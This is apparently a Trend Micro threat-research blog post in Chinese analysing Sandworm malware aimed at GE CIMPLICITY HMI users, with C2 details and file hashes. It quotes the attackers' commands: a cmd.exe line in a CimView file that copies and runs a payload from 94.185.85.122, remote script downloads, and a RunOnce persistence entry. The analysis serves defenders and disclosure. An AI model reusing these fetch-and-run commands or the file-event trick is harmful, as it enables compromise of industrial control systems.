10 月 14 日,網路上出現一則有關 Sandworm team (沙蟲小隊) 駭客團體的報導。在初步研究過相關的惡意程式樣本和網域之後,趨勢科技很快就發現該團體的主要對象應該是使用 SCADA (監控與資料擷取) 系統的企業,尤其專門鎖定奇異公司智慧型平台 CIMPLICITY HMI 解決方案套裝軟體的使用者。 我們發現該團體使用 .cim 和 .bcl 檔案為攻擊工具,兩者都是 CIMPLICITY 軟體所使用的檔案。另一項證明其專門鎖定 CIMPILICITY 的證據是,其惡意程式會透過 %CIMPATH% 這個環境變數找到 CIMPLICITY 在目標系統上的安裝目錄,然後將其檔案複製到該目錄內。
圖 1:內含環境變數的字串。
CIMPLICITY 是一個搭配 SCADA 系統使用的套裝軟體。HMI 是任何一個 SCADA 系統都必備的主要元件之一,HMI 代表人機介面 (Human-Machine Interface),基本上就是操作主控台,用來監視及控制工業環境中的各項裝置,這些裝置可能負責自動化控制或安全控管。
圖 2 示範電力輸送系統的 HMI 所在位置。此外,您也可以在企業網路中看到設計、開發和測試用的 HMI。
圖 2:監控與資料擷取 (SCADA) 系統範例。
值得注意的一點是,我們目前已看到歹徒利用 CIMPLICITY 為攻擊途徑,但尚未發現惡意程式實際操弄任何 SCADA 系統或資料。但由於 HMI 在企業總部和控制網路當中都有,因此這項攻擊可用於攻擊特定網段或者從企業總部橫跨至控制網路。
是什麼引起我們的注意?
當趨勢科技進一步檢視最近有關Sandworm Team 的報導之後,我們開始追查幾個報導中指出的幕後操縱伺服器。但我們仍就看不到任何直接利用前述管道來攻擊 SCADA 裝置的跡象。
但我們立即注意到其中一個幕後操縱伺服器:94.185.85.122。我們追查了這個伺服器之後發現一個名為 config.bak 的檔案 (SHA1 雜湊值:c931be9cd2c0bd896ebe98c9304fea9e)。這個檔案當下就引起了我們的興趣,因為這是一個 CimEdit/CimView 檔案。CimEdit/CimView 檔案是 GE 公司 Cimplicity SCADA 套裝軟體的一個物件描述檔案,用來管理 SCADA 裝置。
圖 3:CimView/CimEdit 檔案範例。
這個 config.bak 檔案當中定義了兩個事件:OnOpenExecCommand 和 ScreenOpenDispatch。
OnOpenExecCommand 的處理函式包含下列指令:
cmd.exe /c “copy \\94.185.85.122\public\default.txt “%CIMPATH%\CimCMSafegs.exe” && start “WOW64” “%CIMPATH%\CimCMSafegs.exe”
此處應注意的是環境變數 %CIMPATH% 指定了default.txt 檔案複製的目的地。這個環境變數是 Cimplicity 在安裝時所設定。ScreenOpenDispatch 的處理函式為 start(),而 start() 這函式會從 hxxp://94.185.85.122/newsfeed.xml 下載檔案,然後用 cscript.exe 來執行下載的檔案,並且在執行之後就刪除檔案並終止當前的處理程序。
目前我們尚未拿到 newsfeed.xml 的樣本,因此無法獲得進一步的細節。這個事件觸發機制似乎並未用到漏洞,它的運作方式就和 Microsoft Office 的 AutoOpen 和 AutoExec 類似。
除了 config.bak 這個 CimEdit/CimView 檔案之外,文中還提到了一個 devlist.cim 檔案,這是一個 Cimpack 設計圖檔。
從前述幕後操縱伺服器所複製的 default.txt 檔案會在系統植入%Startup%\flashplayerapp.exe 檔案並加以執行,然後就將自己刪除。Flashplayerapp.exe 可執行下列指令:
- exec
- lexec
- die
- getup
- turnoff
- chprt
除了 config.bak 和 default.txt 值得注意之外,另一個檔案:shell.bcl (MD5:bdc7fafc26bee0e5e75b521a89b2746d) 也引起了我們的注意。這是一個設計給 Basic Control Engine 來執行的程序檔 (script)。.bcl 在 SCADA 系統當中使用廣泛,主要用來將某些功能自動化。在 Cimplicity 當中,.bcl 檔案用來建立程序檔以輔助自動化功能。Shell.bcl 會直接執行 \\94.185.85.122\public\xv.exe 檔案。
根據 shell.bcl 當中的字串來看,xv.exe 應該是要搭配某個系統漏洞來運作。我們目前並未拿到 xv.exe 的樣本或雜湊值,因此無法確認這項假設。
開放的目錄
在蒐集威脅情報到過程當中,我們通常會仔細分析駭客用於通訊並且在受害電腦上植入檔案或接收上傳檔案的幕後操縱伺服器。
在前述的 94.185.85.122 伺服器中,除了config.bak 檔案之外,我們還挖掘到更多歹徒從幕後操縱伺服器上下載的惡意檔案,以下說明其中幾個較重要的檔案,這些檔案或許曾經用於針對 SCADA 裝置的攻擊。
Spiskideputatovdone.ppsx (MD5:330e8d23ab82e8a0ca6d166755408eb1),該檔名在俄羅斯文當中的意思為「代理人清單」,根據 VirusTotal 提供的資料,它與電子郵件地址 oleh.tiahnybok@vosvoboda.info 有所關聯。這是一個 PPSX 檔案,會下載並載入 \\ 94.185.85.122\public\slide1.gif 和 \\94.185.85.122\public\slides.inf (MD5:d41d8cd98f00b204e9800998ecf8427e) 兩個檔案。其中 slide.inf 檔案會將已下載的 slide1.gif 重新命名為 slide1.gif.exe,然後在系統登錄當中增加下列字串值:HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce Install=”{dir}\slide1.gif.exe”。上述電子郵件地址中的名字 Oleh Tiahnybok 是烏克蘭一位公開反對俄羅斯的政治人物。
Slide1.gif.exe (d41d8cd98f00b204e9800998ecf8427e) 會在系統植入 FONTCACHE.DAT (MD5:2f6582797bbc34e4df47ac25e363571d) 並且在執行之後將自己刪除。FONTCACHE.DAT 是 Black Energy 殭屍程式的某個版本,會在系統上執行下列指令:
- delete
- ldplg
- unlplg
- update
- dexec
- exec
- updcfg
結論
如我們所見,這些只是某個極複雜且針對奇異智慧型平台 CIMPLICITY 套裝軟體使用者的鎖定目標攻擊的零星線索。目前,我們尚未發現這個惡意程式有任何操弄 SCADA 實體系統或相關資料的跡象。
我們將繼續深入追查這項鎖定APT攻擊/目標攻擊,記得回來看看我們是否有更多新的發現。本文當中所列的樣本分別為趨勢科技所偵測到的 BKDR_BLACKEN.A 及 BKDR_BLACKEN.B。
作者:Kyle Wilhoit 和 Jim Gogolinski (資深威脅研究員)